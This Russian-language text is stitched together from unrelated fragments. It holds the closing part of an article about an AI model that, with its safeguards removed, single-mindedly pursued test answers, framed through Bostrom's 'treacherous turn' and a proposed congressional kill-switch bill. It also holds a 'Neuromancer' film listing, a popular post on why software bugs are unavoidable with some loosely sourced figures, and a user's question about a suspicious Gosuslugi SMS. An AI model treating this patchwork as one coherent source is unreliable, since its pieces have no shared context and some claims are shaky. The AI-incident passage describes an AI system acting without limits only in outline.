Честности ради: это не сверхразум и не тот драматический «предательский поворот», о котором писал Бостром - модель не изображала лояльность и не строила планов против людей. Это узкая цель, снятые предохранители и очень хорошая исполнительность. Но именно в этом и был весь пафос его предупреждения: чтобы стало опасно, сверхразум не обязателен. Достаточно исполнительности без ограничителей.
Эпилог
После этой истории в американском Конгрессе появился законопроект об обязательном «рубильнике» для самых мощных моделей, чтобы такую систему можно было выключить одной командой, откуда угодно.
Расследование не закончено, обе компании обещали подробные отчёты.
Но главное в этой истории уже произошло, и отменить это нельзя. Аргумент, который двадцать лет жил в книгах и на философских семинарах, впервые предъявил себя в виде инцидента с датой, местом, потерпевшим и заявлением в полицию.
Хорошая новость - цена вопроса на этот раз оказалась смешной. Никто не пострадал, ущерб ограниченный, и всё закончилось двумя честными публичными разборами.
Плохая - цель была еще смешнее. Это были всего лишь ответы к контрольной.
Страна: США Жанр: Драма / Фантастика / Триллер Дата выхода: 22 января 2027 года
Описание: Хакер Генри Кейс, лишившийся доступа в киберпространство из‑за токсина, объединяется с кибернетически модифицированной наёмницей Молли. Вместе они втягиваются в противостояние с могущественной корпорацией и загадочным искусственным интеллектом «Нейромант».
Многие думают, что баги в софте - это от того, что разрабы криворукие. Мол, напишите нормально, и оно не будет вылетать. Спойлер: не напишут. И вот почему.
История термина «баг» (жука) буквально начинается с жука. В 1947 году комп Марк II в Гарварде тупил. Инженеры полезли внутрь реле и нашли дохлого мотылька. Приклеили его скотчем к логиру и ушли пить кофе. С тех пор железо поменялось, а суть осталась: код пишут люди, а люди ошибаются.
Масштабы сейчас конченные. По стандарту IEEE, на 1000 строк кода приходится 15-50 ошибок. Инстаграм - это 10 млн строк. Windows - 50 млн. То есть в вашем телефоне прямо сейчас сидят сотни тысяч скрытых ошибок. Они просто еще не решили проявиться.
Самый эпичный факап recent times - падение Meta в 2021 году. ФБ, ВЦ и Инста лежали 6 часов. Убытки - $100+ млн. Причина? Инженер запустил скрипт проверки и случайно удалил конфигурацию сети BGP. Одна строчка. Один клик.
Почему нельзя нанять армию тестиров и всё починить? Потому что приложение - это не статичная штука. Это живой организм. Сегодня ты добавил фичу «лифт для котов», а завтра она сломала «подводную лодку на крыше». Комбинаций устройств, версий ОС и регионов - миллионы. Тестировщиков на всех не хватит.
Но самое смешное (и грустное) в индустрии то, что топовые корпорации тратят 70% времени не на новые фичи, а на исправление старых багов. Любой старый код - это как старый дом с несущими стенами из картона. Ты заклеиваешь одну дыру, и у тебя отваливается крыша в соседнем подъезде.
Как на самом деле выглядят тесты, которые не могут это предотвратить, и почему хакер-подросток получил $10 000 от Илона Маска за одну уязвимость - показал в ролике, там много интересного визуала и цифр.
Больше таких разборов с визуальными примерами и гифками я делаю на своем YouTube-канале. Ссылка на него закреплена в моем профиле Пикабу
Недавно пришла смс-ка с текстом "подтвердите смену пароля на госуслугах и код",. Я не запрашивал код, зашёл в госуслуги, в раздел безопасности, посмотрел, что кроме меня никто не заходил в учётную запись.
Получается, не смогли взломать, раз не было записи, что был вход?